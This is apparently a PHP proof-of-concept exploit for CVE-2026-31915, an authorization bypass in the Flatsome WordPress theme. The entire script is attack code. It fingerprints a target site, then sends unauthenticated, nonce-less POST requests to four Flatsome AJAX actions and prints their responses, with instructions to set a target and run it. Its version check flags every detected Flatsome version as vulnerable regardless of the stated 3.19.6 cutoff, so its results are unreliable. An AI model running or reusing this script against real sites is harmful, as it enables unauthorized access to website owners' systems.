<?php
/**
* CVE-2026-31915 PoC - Flatsome Theme Broken Access Control
* Target: WordPress sites running Flatsome theme <= 3.19.6
* Vulnerability: Missing Authorization in Flatsome endpoints
* Usage: Modify TARGET_URL and run with: php cve-2026-31915.php
*/
$target_url = 'http://target-site.com';
$wp_path = '/';
// Check if target is running Flatsome
function check_flatsome($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if (preg_match('/flatsome[-.](\d+\.\d+\.\d+)/i', $response, $matches)) {
return ['vulnerable' => true, 'version' => $matches[1]];
}
return ['vulnerable' => false, 'version' => null];
}
// Exploit: Access unprotected Flatsome AJAX endpoint
function exploit_ajax($base_url, $action) {
$url = $base_url . '/wp-admin/admin-ajax.php';
$data = [
'action' => $action,
'nonce' => '' // No nonce required due to missing authorization check
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query(['action' => $action]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return ['http_code' => $http_code, 'response' => $response];
}
// Main execution
echo "[*] CVE-2026-31915 Flatsome Authorization Bypass PoC\n";
echo "[*] Target: {$target_url}\n\n";
$check = check_flatsome($target_url);
if ($check['vulnerable']) {
echo "[+] Flatsome version {$check['version']} detected\n";
echo "[*] Testing vulnerable endpoints...\n";
$vulnerable_actions = [
'flatsome_ux_product_inquiry',
'flatsome_quickview',
'flatsome_wishlist',
'flatsome_compare'
];
foreach ($vulnerable_actions as $action) {
$result = exploit_ajax($target_url, $action);
if ($result['http_code'] == 200 && !empty($result['response'])) {
echo "[!] VULNERABLE: Endpoint '{$action}' accessible without authorization\n";
echo " Response: " . substr($result['response'], 0, 200) . "...\n";
}
}
} else {
echo "[-] Flatsome theme not detected or target is not vulnerable\n";
}
echo "\n[*] Scan complete. Upgrade Flatsome to latest version to mitigate.\n";
?>